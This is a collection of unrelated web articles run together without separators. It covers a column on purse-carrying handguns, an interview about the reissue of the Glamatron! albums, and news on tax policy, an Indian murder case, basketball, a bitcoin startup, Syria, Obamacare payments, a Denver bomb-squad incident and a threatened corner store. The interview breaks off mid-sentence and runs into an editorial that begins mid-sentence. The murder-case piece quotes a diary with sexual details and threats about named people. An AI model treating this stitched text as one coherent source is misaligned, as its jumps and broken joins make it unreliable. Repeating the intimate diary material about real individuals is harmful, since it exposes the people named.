One of my biggest concerns with purse carry is that it is very socially awkward to treat the gun purse with the respect it must be treated. Because it is socially awkward to give the firearm-containing purse the respect it must be given, the human tendency is to disregard the safety rules “just this once” and leave the purse and its gun in an unsecure location. One problem with this is that “just this once” is literally all the time it takes for an unexpected tragedy to strike. And the larger problem is that “just this once” has a nasty tendency of turning into an ongoing bad habit. For instance, few women keep their purses literally on their laps the entire time they are visiting friends, even friends with children. Most women toss their purses casually over the back of their chairs in a restaurant (with the attendant risk of walking away without it). We shove our purses underneath our desks when we get to work, and don’t think about them again all day. We plunk our purses into the shopping cart in the grocery store, then turn away to pick out tomatoes. But it literally only takes a split second for a purse-snatcher to do his thing — and even less than that for a child or grandchild to get into your purse when mommy’s not watching as carefully as she ought. There is literally no safe place to set a gun purse down if it is not locked up. But physically holding onto your purse all the time will definitely earn you some odd looks from your friends. You must be prepared for this fact, and consider ways to cope with it. While it is easy to think, “Oh, that won’t happen to me,” there are enough horror stories out there about this that it really gives one pause to think.
Ms. Jackson has published a lot on the ways a woman can dress around a gun at her site, corneredcat.com (which is a good site for firearm novices, regardless of gender.) She also spends some time talking about how to safely carry a firearm in a dedicated holster purse, for those who are determined to take that path anyway.
Though I can’t think of one at the moment, there may be a rare confluence of circumstances in which off-body carry is the best option. For all I know, there may be thousands of people who do it in a safe, secure way every day. But I know that it wouldn’t work for me. I’ve walked away from briefcases, left electronic equipment on the roof of my car before driving away, and know that, at some point, the odds would catch up with me. I suspect the same is true of others, too, which is why I say, carry on-body, or not at all.
(NOTE: It should go without saying – but I’ll say it anyway – that nothing in the above endorses a legislative solution to issues centered on individual responsibility.)Timeless music doesn’t fade away. Fueled by the passion of its creators, sometimes it rises from the ashes to feed ears that are tired of listless, formulaic tunes and hungry for solid, genuine, and soul-thumping Music-with-a-capital-M.
Glamatron! was originally formed in 1981 by Canadian musicians Rude van Steenes and Kurt LaPorte. Together they produced one Glamatron! album called Only the Heart Beats … Inside the Silence. There was one other album to follow that never, unfortunately, saw the light of day: Chrome Horizons. After Glamatron! was dissolved, van Steenes and LaPorte then formed Vis-A-Vis in 1984, which was nominated for two awards and won the 1987 CASBY Award for Best Independent Artist.
Prior to Glamatron!, Rude van Steenes was the front man for Canadian punk band ARSON, formed with guitarist Marcel La Fleur and highly visible in the Canadian and American punk scenes during the late 70s and into the 80s. Fast forward to 2013 when Van Steenes and guitarist Marcel La Fleur resurrected ARSON and released a blistering, well-received album called not always about you.
Now, it’s time for van Steenes and LaPorte to reintroduce Glamatron!. And what makes the reemergence of this album doubly exciting is, well, that it’s a double album. Not only is Only the Heart Beats … Inside the Silence back, the previously unreleased Chrome Horizons is now available as part of the package. Add to this the influences that its creators point to: Bowie, Roxy Music, Lou Reed, Marc Bolan & T-Rex, as well as early Ultravox, Wire, and Magazine, and you’ve got a collection of music that will absolutely wow fans of early New Wave. DJ David Marsden has been giving solid airplay to various tracks from Glamatron! on his Internet streaming radio station NYTheSpirit.com, and they have been met with keen interest.
Rude has graciously agreed to be interviewed, and I am proud and pleased to re-introduce you to this wildly gifted musician and his music. I have enjoyed…and will continue to enjoy…Glamatron!’s recently reissued Only the Heart Beats and Chrome Horizons. I know New Wave/post punk fans will, too.
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Missparker: Thanks so much for taking the time to talk with us about Glamatron!. I think an obvious first question is, what inspired you to reissue Only the Heart Beats … Inside the Silence and Chrome Horizons? And, who were your partners in crime (other band members)?
Rude van Steenes: Thank you for the opportunity and for all the great work you’ve done in supporting and bringing new life to one of the most creative eras in music! It truly is a pleasure to see this music thriving so many years later while continuing to garner new interest through the great articles you’ve written on the bands and artists and your ongoing support.
So, the question was, ‘What inspired me to reissue these albums and who else was involved?’ Well, the reissue was something I had been dabbling with in my mind for some time. I always thought the initial recording, Inside The Silence, was a diamond in the rough in that it was recorded on an 8 track reel-to-reel deck in a basement studio with little-to -none of the studio enhancements available today. The songs were roughly fleshed out by Kurt (Laporte) on guitar and myself on synthesizers and drums; then, Rick (Krausminc) came in on additional keyboards.
We worked with several players including Max Hutchison on drums and Marky Haughton on bass. Although Max and Marky played together on the same tracks, both left together before the recording was complete. This led to Kurt playing both guitars and bass, Rick on keyboards, and myself on vocals, synthesizers, and percussion while Max played drums on 3 tracks, Ben Elfassey on one, and I played on 2 tracks for the finished product. I think we recorded it over two weekends, mixed it, and borrowed the money for a pressing of 950 copies and that was it!
The cover was designed by Anne Marie Carlson and the striking woman featured is a portrait of her mother. The layout was bold for the time; most akin to the European releases of that era which had appealed to us.
Although critically acclaimed, North American labels in general were not interested as it lacked, in their opinion, “commercial appeal” and was considered “ahead of its time” for their audiences. Remember, the Canadian industry was tethered to their American parent companies and, at the time of release, the popular markets played Eye of The Tiger by Survivor, Physical by Olivia Newton John and Ebony and Ivory by McCartney and Jackson, as well as artists John Cougar, Chicago, Foreigner, and Toto topping the charts in North America, so no one here could or would do anything for us. Although the European scene was much more in tune with our sound, we lacked the management and resources to market ourselves over there.
And that brings us to Chrome Horizons, the previously unreleased, three-quarters completed, follow-up to Inside The Silence. At this time, Kurt, Rick, and I were working on some ideas and were joined by Scott Matthews on bass and Rob Greenway (a.k.a. Brilliant Fish) on drums. At some point, Kurt dropped out, leaving the project guitar-less. This was, of course, a challenge I wasn’t anticipating, and it took a while to adjust,too as Kurt, for the most part, was my song-writing partner; however, as I had the bulk of the lyrics and part of the music written, it was then up to all of us to complete the pieces in the studio.
We took on the song Call written by Rob and, after a few runs, it started taking shape. Scott’s fluid bass lines combined with the keyboard melodies and stylized vocals, gave the finished song its character. The rest (Intrigue, Photographs, Death In September, Art of Seduction, And We Who Dare) followed suit; however, this was another self-produced indie project and we were again in a financial crunch unable to continue. In fact, one track didn’t make it on the studio version (And We Who Dare), as it wasn’t ready. It is, however, included on the live version of the CD and Bandcamp download. What was salvaged from those sessions remained on master cassette tapes for better than 30 years before being re-mastered by Scott in his studio this year.
Finally, what brought this all to light this year was a message I received from my friend Jacek who has a label called Artoffact/Storming The Base. He was interested in Glamatron! and asked if he could do a re-issue of the original first record. I then told him about the unreleased 2nd album and live tracks and a deal was struck to put the whole package together. They did a wonderful job, packaged the vinyl in optional pink along with a great poster, and the CD has a beautiful little booklet and bonus live tracks, as does the download. Really impressive—their label also has an incredible roster of artists that I’m proud to be amongst—such great influences and talents. (Please see the links at the bottom of this article for more information).
Missparker: To me, it’s quite a shift from ARSON’s pure punk to Glamatron!’s New Wave. What was the reason for switching genres, and did you find it to be a natural progression?
Rude van Steenes: Well, for starters, I think musician, author, publisher Jaimie Vernon probably nailed it best in his description of ARSON:
“Though ARSON was shuffled into the First Generation Toronto Punk deck of cards, one listen to tunes like “Love On A Leash,” “Art School Fool,” “Social Eyes,” “Not Always About You,” and “Motor City Suicide” and 20/20 hindsight reveals that ARSON were/are actually a true-blue American Rock ‘n Roll band owing nothing to The Ramones and everything to Iggy & The Stooges, The MC5, and The New York Dolls” – Jaimie Vernon, Musician, author, publisher (Canadian Pop Music Encyclopedia Vol 1 & 2, etc.).
So, ARSON was always kind of on the outskirts of the scene. For example, our third show was opening for The Dead Boys at the height of their initial popularity and that pissed off a lot of local bands who had wanted to do that show; however, it was the promoters’ decision, and although it worked out well for us, the resentment from other bands was never completely resolved.
Our shows were also more rock ’n’ roll than punk; being fairly agile performers, we would utilize stage lights, fog machines and experiment with different outfits and even characters. I took on every show as an adventure; however, towards the end of 1979, while playing some dates in New York City including Max’s Kansas City, I began to feel restless—restless to do something more creative, a different trip that would incorporate more diverse influences and, I think, we all saw that coming. Things were becoming strained between all of us, the road had taken its toll, the original scene was dying, and we were still broke and in debt. I needed to move on; ‘transition, transmission’ was my state of mind.
We came back home, recorded The Animals’ We Gotta Get Out Of This Place for the No Pedestrians compilation album, and all went our separate ways. Marcel and I were obligated to play a couple of gigs in 1980, so we picked up a few former players for those shows, and after two years of working closely together, we took a break for some 30 years!
At first, I began experimenting with different ideas under the ARSON banner. I found a guitarist I had known, recruited a bassist from another band, advertised for a keyboard/synth player and a drummer and put it all together. We did some of the old material, but focused on new songs and ideas; and at first, things went well. We played a few shows and started recording some demos. I brought guitarist Kurt Laporte into the band, but tensions began regarding direction and I began to sense potential problems that I didn’t want to deal with. So, I walked away from my creation, Kurt followed, and the remains went on to become Boys Brigade.
Immediately after, I started writing new material with Kurt and I came up with the name GLAMATRON!, which was the complete antithesis of ARSON. We wrote all new material and never once referenced the recent past. We were going to be new and different using our musical influences inspired by the UK and European music scenes. Transformation came quite easily, as I had already introduced characters into the previous band; however, this time everything changed dramatically from the music to the staging to the overall presentation. It was going to be more ‘theatrical,’ if you will, more along the lines of a hybrid Roxy/Bowie/Reed/’77 Ultravox-come-Stranglers affair. I wanted to change back from the stripped-down punky stage setting to creating a more engaging environment that rocked; and, the transition was so complete, that only close friends knew what was happening.
Having always written lyrics and vocals driven by a rhythmic feel from my drumming days and being influenced by a wide variety of jazz, blues, rock, and soul pioneers like Muddy Waters and John Lee Hooker, Elvis Presley, Frank Sinatra, Johnny Cash, Wilson Pickett, Otis Redding, the Walker Brothers, not forgetting Bob Dylan, Van Morrison, Joe Cocker, Jim Morrison & The Doors, Todd Rundgren, Peter Murphy, David Bowie, Iggy Pop, etc., etc., at the time, I felt the limitations of the genre that ARSON had become was somehow preventing me from exploring other areas. As much as I loved doing what I did, I wanted to do more.
Writing was always important to me; it was an outlet to express myself whilst defining the moments of my interactions with life and all of its trappings. I grew up with books; I’m still an avid reader with a couple of books-in-progress left throughout the house. Great writers and poets have always fascinated me, particularly when their stories have the power to hold you as if a spell had been cast and you can’t leave until that spell is broken or the story ends.
Writers such as Thomas Pynchon, Edgar Allen Poe, Philip K. Dick, Kurt Vonnegut, Harlan Ellison, Anthony Burgess, Christopher Isherwood, Rod Serling, and Martin Amis, amongst others, could transport you right into their scenes with such vivid descriptors that if you closed your eyes, you could almost feel your senses open to the experience you just read about. So many other wonderful writers—each one has its influences while the best ones leave their mark.
When I came into the music scene, the last of the Beat poets were rolling up their influences in the old coffee houses of Montreal. Allen Ginsberg, Tuli Kupferberg and The Fugs, Jack Kerouac, Lou Reed and The Velvets, etc., had all drifted through and left their mark. It was all good and hung over with hints of old-world/Beat romanticism lingering in the air, giving it a sense of creative freedom. Switching genres was not really difficult, but more of a natural progression.
Missparker: You mention some fabulous influences in the release notes. Can you expand a bit on the elements of some of these artists that gave helped life to Glamatron!? Was it appearance, musical style, a bit of both?
Rude van Steenes: Well, I’ve been musically inclined for as long as I’ve known; my first instrument was drums and I was self-taught. Within two years of practicing, I was playing high schools, parties, and special events. Life at home wasn’t great, and in 1967, I left home and went to the west coast, finding myself in San Francisco for part of the summer of love. That experience opened up so many different avenues in music, poetry, art, and film that it easily became the creative extension |
right up to the edge of the law in their efforts to do so. They can’t be relied upon to do the right thing, they have to be forced to.
This is why we have to have a tax code, environmental regulations and a Securities and Exchange Commission.
It’s abundantly clear that the U.S. tax code is horribly flawed and out of date. The principle problem when it comes to overseas profits is that companies face a huge tax bill if they bring home — or repatriate — money made overseas, generally 35 percent. As a practical matter, it means companies simply park their money offshore, using it to fund stores, products or manufacturing outside the United States.
Some companies, including Apple, have called for another tax holiday, briefly cutting that rate radically to encourage businesses to bring home the vast amount of money now stuck outside the United States. But clearly a longer term fix is required.
It could include a permanently lower rate more in line with what our companies’ overseas competitors pay, or other means of removing these incentives to play tax shell games. It also needs to be part of a broader overhaul that streamlines and simplifies the tax code, eliminating other obvious and unfair loopholes in the process.
But none of this is news. And none of this requires hauling Apple or any other companies before Congress, and staging a part public shaming, part shameless reelection campaign. It simply requires our legislators to do their actual jobs.The first page of the diary. Zahida's obsessive love for Dhruv Narayan Singh is revealed in her jottings. The first page of the diary. Zahida's obsessive love for Dhruv Narayan Singh is revealed in her jottings.
Zahida Parvez's 2011 diary is the single biggest piece of evidence against her. Her record of her relationship with bjp MLA Dhruv Narayan Singh was explicit and graphic. No detail was spared in describing her encounters with him. Zahida made entries daily, even on the days she did not meet him. She even recorded some of their sexual encounters, apparently for "sweet memories", in a CD.
The first page of the diary has her name, written as "Zahida Dhruv Narayan Singh". She usually wrote her name as Ar Zahida Parvez, Ar standing for Architect. On the next page, she writes: "Everlasting memories dedicated to our togetherness."
On August 16, 2011, she writes in her untidy scrawl: "She is shoot dead in front of her house... I was very depressed since from the early morning... all of sudden Ali called up around 11:15 that Mubarak ho sahib, now we did it in front of her house." (This was the day Shehla Masood was shot dead in front of her house in Bhopal.)
Zahida writes that she got the murder confirmed by sending an employee to Shehla's house. "Then I became so relaxed", but as night falls, she asks her employee and confidante Saba Farooqui to stay with her. Describing their mental state, she writes: "Darr se hum dono ki hi fatt rahi thi... raat bhar tv dekhte rahe, aankohn se neend koson door thee...saare newspaper, saare channel, sab uski murder story se bhare hue the.
(We were very scared...We kept watching TV the entire night, sleep was miles away... All newspapers, new channels were filled with her murder story).
Then she writes: "I love you Mr Dhruv Narayan Singh and I mean it."
On April 30, she writes: "He is in Amsterdom (Amsterdam)."
n On May 5, she writes: "Dhruv aaj Dubai mein hein."
On June 22, she writes: "We had blasting sex today for one 1/2 hour."
On June 18, she writes: "We met at 7 at office, Unhone jabardast sex bhi kiya."
There were several vitriolic references to Shehla. Once, after Dhruv visited Shehla, she writes about Shehla: "K.... ko maar dalungi mein (I will kill her)."
On June 2, she writes: "Voh Shehla ko bhul nahin pate ya koi aur mil gayi hogi???? Mein aapki diwani hoon thodi si jagah de do dil mein (Either he hasn't forgotten Shehla or there is someone else. I am mad about you, give me some space in your heart)."
Investigators noticed that by this time, some friction had appeared in her relationship with Singh. She makes an entry: "We had little bit sex today. We fight like anything."
On July 26, she writes: "At 7:45 pm, meine unki aise ki tesi kar di. Khoob royi mein."It was Singh's 52nd birthday. He went to Shehla's house. Zahida found out and threatened him that she would tell Shehla about their relationship.
On July 28, she writes: "Safaian de rahe the. Mera kisi se na sambandh hai, na tha (He was giving clarifications...I don't have a relationship with anyone nor do I intend to)."
Then she visits a fortune-teller and writes what he told her: "15 November tak Dhruv tumhare pass aa jayega. (Dhruv will be with you by November 15)"
On August 6, she writes: "We met in evening. Had blasting sex. We had sex in the office."
There are as many as 60 entries describing their passion in detail. She recorded some on her CCTV without Singh's knowledge.May 11, 2014; Washington, DC, USA; Washington Wizards head coach Randy Wittman gestures against the Indiana Pacers during the first half in game four of the second round of the 2014 NBA Playoffs at Verizon Center. Mandatory Credit: Brad Mills-USA TODAY Sports
After hiring a new head coach and general manager for the Washington Capitals, it was time for Washington Wizards owner, Ted Leonsis, to take care of business on the basketball side.
The Wizards have completed a successful playoff run, beating the higher seeded Chicago Bulls in the first round before getting bounced out of the NBA Playoffs in the semi-finals against the number one seeded Indiana Pacers. To everyone’s surprise, the Wizards able to have a very successful run in the playoffs, despite being led by John Wall and Bradley Beal, who have never been to the postseason before.
Randy Wittman, who’s been criticized for his stubborn style of coaching, has brought the team together since taking over for Flip Saunders about three years ago. Wittman’s defensive system has turned Washington into a top-10 defensive team and have obviously been playing competitive basketball since adopting his philosophies. With that said, the Wizards still aren’t very good on the offensive side of the floor, but have been good enough to make some noise in the playoffs.
According to Adrian Wojnarowski of Yahoo! Sports, Randy Wittman and the Washington Wizards are close to a 3-year contract extension.
The Washington Wizards are nearing an agreement on a three-year contract extension with coach Randy Wittman, league sources told Yahoo Sports.
Although some fans may be disappointed, myself not included, this was an inevitable move for the Wizards.
Wittman’s tactics worked very well against the Chicago Bulls and gave the Pacers a run for their money in the semi-finals–something none of us expected prior to the beginning of the playoffs.
John Wall, Bradley Beal, Nene, Marcin Gortat and Andre Miller have all praised Randy Wittman this offseason, crediting him for their success in the postseason and his ability to prepare the players.
Continuity is key for a team looking to compete at a high level and bringing Wittman back was a no-brainer. Toronto Raptors head coach, Dwane Casey, was bounced out of the first round against the Brooklyn Nets, a lower seeded team, and also received a 3-year contract extension. Needless to say, Randy Wittman was well deserving.In the first official venture capital raise for a direct investment in bitcoin, CoinLab secured $500,000 today from seed stage Silicon Valley firm Draper Associates and others, including Seattle angel investor Geoff Entress, former assistant treasurer at Microsoft Jack Jolley, and familiar bitcoin investor Roger Ver. Jolley will also join the company as its Chief Financial Officer.
Based in Seattle, CoinLab is an emerging umbrella group for cultivating and launching innovative bitcoin projects. Until now, they have been relatively quiet regarding their initiatives but they are credited with releasing a comprehensive Bitcoin Primer in January 2012. The founders are startup entrepreneurs Peter Vessenes, Mike Koss, and Tihan Seale, each with a strong passion for the broad advancements enabled by a decentralized currency.
CEO Vessenes said, "if there is a currency that can trade around the world, it's semi-anonymous, it's instant, it's not controlled by government or bank, what's the total value of that currency? The answer to that is, if it works, it's gotta be in the billions. It just has to be for all the reasons you might want to send money around the world."
Apparently, seasoned investors are starting to agree. Draper Associates partner Tim Draper explains the allure of the decentralized bitcoin, "The idea of a private currency has always been appealing to me as a way to diversify away from holding currency in irresponsible governments. It is more relevant now than ever." Hopefully bitcoin will maintain its current exchange value and appreciate, especially since this investment represents over 1% of the total $45 million worth of existing bitcoin in the world.
CoinLab intends to go into serious hiring mode as they build out their development team and launch new bitcoin projects. Although an SMS bitcoin texting service called Bitsent was announced briefly on their site, a greater focus has been on the concept of MMORPG mining, leveraging bitcoin to monetize players for the online gaming companies like World of Warcraft and EVE Online. Two companies have already agreed to participate in a beta for the CoinLab mining concept -- Wurm Online, an independent MMO that allows players to dig, flatten, raise and shape the land and create the frontier world they live in, and graFighters, the first online fighting game for your hand drawn characters.
The business model is clever. A few whales, or big spenders on virtual goods, make up the majority of gaming company revenue while the infrequent casual players constitute the bottom 10%. "CoinLab wants to grab that 80% in the middle," says Vessenes. They intend to accomplish this by offering a configurable app that players download from the gaming site which would allow bitcoin mining jobs to run on these beefy GPU-outfitted client computers.
Like DropBox, the CoinLab app will reside in the background so that the players are not even aware of the mining that occurs during the gaming session. To the gamer, certain virtual items or level upgrades would be obtained. This is a new revenue stream for online game companies as they monetize the free-to-play gamers via cluster compute work and a win for CoinLab as they convert the mined bitcoin to dollars or euros that are passed on to the companies after a tidy spread of course.
Vessenes doesn't want to refer to CoinLab as 'just another mining pool' because they have a distinctly different type of payout, but you can certainly imagine some non-gaming miner opportunities entering the CoinLab platform. After all, bitcoin miners and the mining pools collectively gain clout by virtue of the fact that a majority of miners is necessary to accept changes and slight variations to the protocol. It is easy to view the bitcoin mining pools as guardians of the free and open monetary system of the future -- powerful de-central bankers if you will. CoinLab is poised to earn a seat at that table.
Follow author on Twitter.Washington has boosted its military presence in Syria to ostensibly help local forces fight against Daesh, but former US diplomat and Senate adviser James Jatras told Radio Sputnik that the Pentagon's latest deployment could see the United States get bogged down in Syria.
"Frankly, I don't like it. I don't think it's a good idea. As much as anybody else I would like to see Daesh and other terrorist groups in Syria destroyed. It seems to me that could be done without an American ground deployment. It seems that Donald Trump has chosen otherwise and there are real dangers that come with that," he said. "I am not saying that this could not be successful and this could not have a good outcome, but there are definitely risks involved."
Jatras emphasized that he did not mean that this strategy could not be successful, but warned that there are major risks involved.
"The risks are we get sucked in, we get drawn in yet another ground war in the Middle East. And let's be clear – air war is a war too. Using airpower commits the US to putting more special forces on the ground, which was already done under Obama and now is being expended by Trump. Ranger units, artillery units – this is an expansion of the ground war. If we find ourselves involved in a much more direct and extensive combat than was anticipated, we could find ourselves in another ground war. As much as anybody wants Daesh, al-Nusra and other terrorists destroyed, I don't think that we want another ground war in the Middle East."
© AFP 2018 / DELIL SOULEIMAN Senior PYD Official Warns That 'Turkey Wants to Occupy Syria'
The Obama administration initially said that it would not send any ground troops to Syria, making a U-turn once it became clear that its aerial campaign was not enough to "degrade and ultimately destroy" Daesh, as the former US president put it in September 2014. The US has since then sent service personnel to Iraq and Syria to train and advise local fighters. Most recently, Washington deployed 400 Marines and Army Rangers to assist the Syrian Democratic Forces in their operation to free Raqqa, the capital of Daesh's caliphate. Jatras referred to this deployment as "a significant increase."
This is not to say that there are no positive developments with regard to the ongoing Syrian conflict. In this context, Jatras mentioned Manbij, a Syrian city which made headlines last week when Russia and the United States tried to prevent Turkey from advancing deeper into Kurdish-held areas.
Moscow brokered a deal between Damascus and the Syrian Democratic Forces, which administer Manbij. Under the agreement, the Syrian Arab Army created a buffer zone between forces taking part in the Ankara-led Operation Euphrates Shield and the Kurds. For its part, the United States moved its troops closer to Manbij to keep their allies at bay.
© Sputnik / Grigoriy Sisoev Russia Starts Preparations to Modernize Naval Base in Syrian Tartus
"There was coordination on this operation between American, Russian and Turkish chiefs of staff. So it seems like there is some effort to get some coordination on the same side, among forces that are suspicious of each other, but to direct their activity against Daesh. In principle that's a good thing," Jatras said.
It could be a step forward "with the caveat, and it's a big one, that we don't get ourselves too deeply dug in than we want," the analyst added. "If we can find a common agenda for the Syrian Army, the Russians, the Kurds, even tacitly the Turks and of course we also have the Iraqi Army's offensive in Mosul, maybe we could start to squeeze Daesh into a pincer movement where you have the Iraqis on the one side, the Syrians on the other side, the Kurds in the north and the desert in the south and you pen them in and destroy them."
Have you heard the news? Sign up to our Telegram channel and we'll keep you up to speed!A federal judge won't force the Trump administration to continue paying Obamacare insurers after he was skeptical about whether customers would be harmed by the abrupt cancellation.
The decision by a California federal court Wednesday means the payments will not be resumed while a lawsuit from 18 Democratic-led states is argued before the federal courts. The lawsuit from the attorneys general asked for an immediate injunction to keep the payments flowing. President Trump cut them off starting Oct. 18.
Federal Judge Vince Chhabria said in the order that the emergency relief the states want could be counterproductive.
"State regulators have been working for months to prepare for the termination of these payments," he wrote. "And although you wouldn't know it from reading the states' papers in this lawsuit, the truth is that most state regulators have devised responses that give millions of lower-income people better health coverage options than they would otherwise have had. This is true in almost all the states joining this lawsuit."
The cost-sharing reduction payments reimburse insurers for reducing out-of-pocket costs for low-income Obamacare enrollees. Insurers are required to lower co-pays and deductibles for those customers, so without the payments they likely will raise premiums to recoup the costs.
Without those payments, insurers could raise Obamacare premiums nearly 20 percent, according to some estimates.
The payments were the subject of a legal fight between the Republican-controlled House and the Obama administration. The House sued in 2014, saying the payments were illegal since Congress had not appropriated them.
The payments have been made under a mandatory appropriation without the need for congressional approval, similar to Obamacare's income-based tax credits to lower insurance costs.
A federal judge ruled last year that the cost-sharing payments did need a congressional appropriation, partly because of the shoddy drafting of the law.
That ruling was on hold while the Obama administration appealed and then continued to be on hold when the White House changed hands in January. Trump decided on Oct. 12 to end the payments, which he calls "bailouts" of insurers, and the Justice Department dropped the appeal.
The18 states filed a lawsuit in a San Francisco federal court to pursue the injunction to continue the payments while the case moves through the courts.
Chhabria did not seem to buy the states' argument that there was an imminent danger if the payments ended.
Chhabria said during a hearing Monday that there must be an immediate harm to consumers for an injunction to be issued. He noted that many states, such as California, already adopted measures to address the lack of CSRs next year.
He referred to the mechanism of "silver loading," in which a state tells an insurer to dump the costs of the CSRs into silver plans and increase the cost of those plans. Silver plans are the middle-tier plans offered on Obamacare's exchanges on the individual market. The amount of income-based tax credits that a person gets is based on the second-cheapest silver plan. Therefore, higher premiums for silver plans means higher tax credits, Chhabria said.
He added that the premiums for the other metal tiers — bronze, gold, and platinum — have not changed. That means that someone who receives a tax credit can use that larger tax credit to buy a bronze, gold or platinum plan for less or the same price.
He also pointed to California's decision to let customers buy a silver plan without the CSR premium increase, off the Obamacare exchange.
The individual market, used by people who don't have a plan through a job or the government, lets someone buy a plan on Obamacare's exchange or off it. California decided not to raise premiums for a comparable silver plan off the exchange, giving customers an option for silver plans.
Gregory Brown, attorney for California, said not all states have adopted that approach or the "silver loading" method.
"I believe that around 40 states in the nation anticipated this problem in advance and responded to it in the way we are talking about here," Chhabria responded. "The states that respond in a different way are responsible for depriving citizens to getting higher tax credits to buy insurance on the exchanges."
Chhabria also said that so far no insurer has announced that it is leaving the market since Trump's decision. Brown had said Trump's decision created chaos and uncertainty in the market.
Brown added that some insurers could be waiting to see what happens.
But Chhabria responded that to reverse course now so close to open enrollment, which starts Nov. 1, "looks like it would cause further instability for the exchanges for the next three months."
The order also offers a preview of the legal fight to come.
Chhabria wrote in his Wednesday order that the administration appears to have the legal upper hand in the lawsuit. While Obamacare has "clear language" that the tax credits are to be permanently appropriated, that isn't so clear for the cost-sharing payment section, he wrote.
The states turned to the Supreme Court case King v. Burwell to make their own case. The 2015 case focused on the eligibility of the law's tax credits due to sloppy drafting in the law, specifically that the tax credits couldn't go to customers on the federal exchange that is used by 39 states and the District of Columbia.
In the end, the court voted 6-3 that it didn't make much sense to have the tax credits at all if they couldn't go to people on the federally run exchanges and only on the state-run exchanges, of which there are 12.
States argued that the overall point of Obamacare says that the CSRs should have a permanent appropriation since the tax credits also have that.
On this point, states got some help from the insurance industry.
Insurers need to know that the CSRs will be there to set their rates. The main industry group America's Health Insurance Plans argued in a related brief that if the CSRs were subject to an annual congressional appropriation that can occur late in the year then insurers can't "reasonably predict how much it will cost to provide insurance on the exchanges," the order said.A robot met its end near Coors Field tonight when the Denver Police Department Bomb Squad detonated the “suspicious object,” bringing to an end the hours-long standoff between police and the approximately eight-inch tall figurine.
Denver Police Spokesman Matt Murray said that a citizen called police at 3:27 p.m. to report the presence of the plastic white toy robot cemented to the base of a pillar supporting a footbridge near the intersection of 20th and Wazee streets. Police closed 20th Street between Blake Street and Chestnut Place, but did let a few people past the police tape to retreive cars parked in nearby lots. Nobody was allowed within about 100 yards of the robot.
“Are you serious?” asked Denver resident Justin Kent, 26, when police stopped him from proceeding down 20th Street. Kent said that he lived just past the closed area, but was told he would have to go around via Park Avenue.
“I can’t believe it. This is ridiculous,” said Kent.
Traffic piled up at adjacent intersections as rush hour commuters were forced to detour around the closure.
Some pedestrians, unable to reach their vehicles at a lot adjacent to the robot, decided to wait it out at a bar on 20th Street, asking uniformed officers to let them know when the road reopened.
A bomb squad robot was sent it to examine the troublesome robot before a bomb squad officer, dressed in heavy protective gear, took a turn.
Murray said that the bomb squad couldn’t be sure if the robot was safe or not, and so remotely detonated it at about 5:30 p.m. to “render it safe.” The robot exploded into several chunks.
“It was cemented in. That’s odd,” Murray said.
Murray said that suspicious objects do not automatically warrant a call to the bomb squad if patrol officers are able to determine that there is no threat. He said that the robot was strange enough to warrant precautionary measures. In the end, it proved harmless.
“A whole lot of nothing,” Murray said.
20th Street reopened after police finished cleaning up the remains of the robot. Murray said that police have no leads on who put the robot there, or why they did it.
Kyle Glazier: 303-954-1638 or kglazier@denverpost.comIn ten days, an important book about the conflict will be published, Max Blumenthal’s Goliath: Life and Loathing in Greater Israel. The book is important because it will change the paradigm of Israel inside liberal American opinion, by demonstrating how occupation and ethnocracy have transformed the Israel of so many Americans’ dreams into an intolerant, tough, and often racist society. Blumenthal performs this shift by marshaling facts about a highly distressing reality inside the occupation and in Israel itself. And because we see that change as so vital to American awareness and policy-making, I’m going to be getting Blumenthal’s ideas out in weeks to come.
Last week I interviewed him inside the Ramallah fruit and vegetable market. It’s 5 minutes, above. Blumenthal explains that almost all of the fruits and vegetables in the market are from Israeli farms, especially in the Jordan Valley, on expropriated land.
He describes the ways that the Palestinian agricultural sector has been almost completely destroyed, by occupation and by the Oslo process, which kept Palestinians from developing an independent economic base.
And he says that one of the best ways to resist occupation is by generating your own economy and boycotting. Palestinians have been unable to do this. Gaza and the West Bank are treated as captive markets.The cozy corner store Fog Hill Market at Kearny and Green streets, a favorite among many on Telegraph Hill, warned customers it could close at the end of the month due to a rent hike. But on Wednesday morning, Supervisor Aaron Peskin had a conversation with the owners' representative and told us he is "cautiously optimistic something can work out."
Fog Hill Market, which Chedyak opened two decades ago, is seen by some as a cornerstone of the community. "He is truly the heart and the hub of that part of North Beach," said Alan Cooper, who lives above the market. He said Chedyak accepts packages for people, carries groceries up to elderly neighbors, allows people to run monthly tabs and even celebrates birthdays for people in the neighborhood. "It would be a shame to see him go," he added.
It began when the market's owner, Hanna Chedyak, got a letter from the building's owners stating his rent was going to increase from $3,600 a month to $5,000 a month starting April 1st. He suspects they're raising the rent to try to get a higher price, because the building is for sale. It's listed on Coldwell Banker and Green Banker for $2.199 million.
Chedyak said as a small business owner with rising expenses and increased competition from major retailers, he can't absorb the increase. He posted flyers in and around the store asking for people to contact the North Beach Business Association and Peskin.
While we were at the market today, Peskin stopped in to talk to Chedyak. He told us he might be able to nominate the market as a "legacy business," which voters approved in November 2015. If it's designated, the property owners would give a lease extension to Chedyak on "commercially reasonable terms" in exchange for a significant property tax reduction. Though the law states a business has to have operated for at least 30 years, Peskin said there are provisions for younger businesses with extraordinary circumstances.
Chedyak said he offered to buy the building, but his offer wasn't accepted. Peskin and another local realtor who lives in the neighborhood both said the price is above market value. Given the amount of rent the tenants currently pay, even with an increase for the market, the amount doesn't make financial sense. And, Peskin noted, "As an economic and real estate matter, emptying this storefront is not going to help them, because they'll show less of a revenue stream."
George LaBar, a regular at Fog Hill Market.
If the market goes, the neighborhood will lose more than a place to buy beer and cigarettes. It's hangout for many regulars who stop by just to check in, Chedyak said, or to sit on the bench outside and talk. Also, "He has things you don't think he'd have," said customer David Pepe. From cupcake sprinkles to ping-pong balls, Pepe has found anything he needs there, he said. And if he doesn't, he'll get it in the next day. The store is known for having a wide variety of staples: fresh produce, dairy, canned goods, whole coffee beans, hygiene items, freshly made sandwiches and deli items, to name a few. And many neighbors are thankful they don't have to head down the hill to pick something up.
